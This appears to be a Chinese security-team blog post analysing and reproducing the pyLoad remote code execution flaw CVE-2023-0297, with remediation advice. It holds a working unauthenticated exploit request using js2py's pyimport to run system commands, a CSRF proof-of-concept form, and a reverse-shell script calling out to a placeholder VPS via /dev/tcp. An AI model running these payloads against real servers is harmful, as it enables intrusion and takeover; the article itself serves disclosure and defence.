点击关注公众号,知识干货及时送达?
START
前言
近日,一起名为pyLoad远程代码执行漏洞(CVE-2023-0297)的漏洞被曝光。这个漏洞存在于pyLoad软件中,攻击者可以利用该漏洞执行恶意代码,以此获得系统权限,并对受害者造成很大的风险。本文将对pyLoad远程代码执行漏洞进行深入分析,并提供相关的防范措施。
漏洞概述
pyLoad是一个开源的下载管理器,具有强大的功能和易用性。pyLoad使用Python编写,它可以运行在NAS、路由器和无头服务器等硬件平台上,也可以在Linux、Windows等操作系统中运行,并支持HTTP、FTP、SFTP和RSDF/CCF等多种协议。
pyLoad 存在代码注入漏洞,攻击者可通过此漏洞在未经身份验证的情况下注入恶意代码,导致服务器被攻陷。该漏洞的根本原因是pyLoad未能正确地过滤用户输入信息,并把用户输入当做程序代码来执行。攻击者可以利用JS2Py库中的漏洞将JavaScript注入到请求中,从而导致恶意代码执行。
影响范围
pyLoad稳定版< =0.4.20
pyLoad开发版本< 0.5.0b3.dev31
漏洞原理
在Pyload
的源代码中有一行jk = eval_js(f"{jk} f()")
cnl_blueprint.py#L124
eval_js
的定义如下:
misc.py#L25-L27
def eval_js(script, es6=False):
# return requests_html.HTML().render(script=script, reload=False)
return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
这代表eval_js(f"{jk} f()")
使用js2py的功能,此处通过request
在前端页面处直接传值给jk
,eval_js
函数再将jk
传入的值当成js
代码来执行也就是说此时我们可以执行任意js
代码
cnl_blueprint.py#L120
因此您可以运行任意脚本代码。
但是Js2Py还支持使用pyimport
语句导入任何Python代码,我们可以通过导入OS模块来执行系统命令,而且js2py
的pyimport
的功能是默认开启的状态,如示例,执行ipconfig命令。
我们通过以下请求方式就可以造成RCE,执行任意命令。
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
jk=pyimport%20os;os.system("命令");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa
请注意,请求中不存在 cookie 和 CSRF 令牌。这意味着:
-
未经身份验证的攻击者能够直接访问目标主机进行 RCE
-
即使攻击者无法访问目标主机,他们也可以通过CSRF攻击诱骗可以访问目标主机的受害者进行RCE:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://<target>/flash/addcrypted2" method="POST">
<input type="hidden" name="package" value="xxx" />
<input type="hidden" name="crypted" value="AAAA" />
<input type="hidden" name="jk" value="pyimport os;os.system("touch /tmp/pwnd");f=function f2(){};" />
<input type="hidden" name="passwords" value="aaaa" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
漏洞验证
访问pyload首页,使用Burpsuite抓包,发送Repeater模块
构造请求参数和路径,直接ping一下dnslog判断漏洞是否存在,成功请求dnslog平台了,漏洞存在
漏洞利用
准备一个能够反弹shell的脚本。
#shell.sh
!/bin/sh
bash -c 'exec bash -i >& /dev/tcp/x.x.x.x/8000 0>&1'
通过wget命令上传到服务器
在VPS上开启端口监听,在应用服务端执行shell脚本
成功反弹shell
修复建议
针对pyLoad远程代码执行漏洞,以下是一些防范措施:
1.版本升级
pyLoad的开发者已经发布了修复该漏洞的更新版本,受影响用户可通过下载github发布的master分支构建程序:
https://github.com/pyLoad/pyLoad
也可通过PyPI直接安装最新版本:
pip install --pre pyload-ng
注意:建议在升级前备份所有重要数据和文件以避免数据丢失。
2.禁用pyimport功能
1) 在pyLoad中禁用pyimport功能。
在src/pyload/core/utils/misc.py
文件中,增加一行代码js2py.disable_pyimport()
END
原文始发于微信公众号(希石安全团队):pyLoad 远程代码执行漏洞分析及复现